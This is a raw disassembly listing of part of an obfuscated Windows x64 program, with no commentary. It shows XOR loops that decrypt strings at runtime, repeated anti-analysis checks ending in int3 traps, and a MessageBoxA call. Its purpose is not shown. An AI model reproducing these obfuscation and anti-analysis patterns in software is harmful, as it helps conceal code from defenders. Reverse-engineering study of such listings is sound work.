je 0x1400218d1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400218f1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d71c0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400d6fd0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xd235c666
mov dword [rbp + 0xbec], 0xe78767f4
mov dword [rbp + 0xbf0], 0x33aa22db
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14002f954
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x140021944
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140001c68
mov rax, qword gs:[0x31]
cmp rax, r12
movabs r13, 0xfec17db8b17547b5
jne 0x140021a46
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021a26
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021a26
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021a46
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140021b01
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021ae1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021ae1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021b01
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
lea rcx, [rbp + 0x9f8]
call fcn.14001ff74
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140001d78
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140030a70
lea rcx, [rbp + 0x9f8]
call fcn.1400309ac
lea rcx, [rbp + 0x9f8]
call fcn.140002288
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140021bf9
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021bd9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021bd9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021bf9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140021ca3
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021c83
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021c83
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021ca3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov dword [rbp - 0x68], 0xae83e0c7
mov word [rbp - 0x64], 0x2c38
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14002f8dc
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x140021cc2
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xae83f2de
mov word [rbp - 0x54], 0x2c38
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov rsi, r13
movabs r13, 0xfec17db8b17547b5
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14002f8dc
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x140021d13
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140030ce0
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.1400306b8
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003080c
lea rcx, [rbp - 0x68]
call fcn.140001dd0
mov rcx, rax
call fcn.140001d78
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.1400304f8
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003080c
lea rdx, [0x1400e4e80]
lea rcx, [rbp + 0xa78]
call fcn.1400306b8
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003080c
lea rcx, [rbp + 0xa78]
call fcn.1400309ac
lea rcx, [rbp + 0xa78]
call fcn.140002288
lea rcx, [rbp + 0xa58]
call fcn.1400309ac
lea rcx, [rbp + 0xa58]
call fcn.140002288
lea rcx, [rbp + 0xa38]
call fcn.1400309ac
lea rcx, [rbp + 0xa38]
call fcn.140002288
mov rax, qword gs:[0x31]
cmp rax, r12
mov esi, 0xb8e53625
mov edi, 0x1a369f55
jne 0x140021ed6
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021eb6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021eb6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021ed6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140021f8f
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021f6f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021f6f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021f8f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
lea rcx, [rbp + 0x1208]
call fcn.140030320
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140096740
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022053
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022033
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022033
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022053
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400220fd
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400220dd
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400220dd
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400220fd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140001d20
lea rcx, [rbp + 0x10e8]
call fcn.140030a48
nop
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400221d3
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400221b3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400221b3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400221d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002227d
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002225d
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002225d
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002227d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
lea rcx, [rbp + 0x11e8]
call fcn.140030320
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14001fadc
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022348
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022328
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022328
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022348
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov dword [rbp + 0x1e0], 0xa197c8a7
mov dword [rbp + 0x1e4], 0xe61f3728
mov dword [rbp + 0x1e8], 0xa0fdf465
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rsi, 0x1545644e4
mov qword [rsp + 0x20], rsi
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14002f864
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002237b
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140030ffc
test al, al
mov esi, 0xb8e53625
je 0x140022971
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022491
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022471
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022471
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022491
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7200]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xb1fe2a4c
mov word [rbp + 0x7cc], 0x68aa
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14002f778
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x1400224c9
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400d7060]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400d7040]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400d6f10]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400d7010]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400d7170]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400d6f30]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400d7000]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400d6ff0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0xb7e74b55
mov word [rbp + 0xde4], 0xd633
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov rsi, r13
movabs r13, 0xfec17db8b17547b5
mov qword [rsp + 0x20], rsi
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14002f7ec
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x1400225af
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x31]
cmp rax, r12
mov esi, 0xb8e53625
jne 0x1400226cb
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400226ab
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400226ab
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400226cb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022775
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022755
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022755
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022775
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
cmp edi, 7
je 0x14002f4ec
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022839
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022819
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022819
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022839
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d6fe0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400d70d0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400d6e70]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14002f704
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140022876
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.140099c6c
mov rax, qword gs:[0x31]
cmp rax, r12
movabs r13, 0xfec17db8b17547b5
jne 0x140022971
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022951
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022951
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022971
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022a1b
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400229fb
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400229fb
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022a1b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140030868
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.1400200bc
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.140030744
lea rcx, [rbp + 0xab8]
call fcn.1400309ac
lea rcx, [rbp + 0xab8]
call fcn.140002288
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022b1f
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022aff
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022aff
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022b1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022bc9
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022ba9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022ba9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022bc9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140030a1c
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022c81
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022c61
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022c61
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022c81
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022d2b
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022d0b
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022d0b
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022d2b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14009a0dc
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022de8
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022dc8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022dc8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022de8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022e92
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022e72
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022e72
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022e92
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140022f58
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022f38
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022f38
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022f58
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
test rbx, rbx
je 0x14002f1b5
cmp qword [rbp + 0x10f8], r15
je 0x14002f1b5
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140023018
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
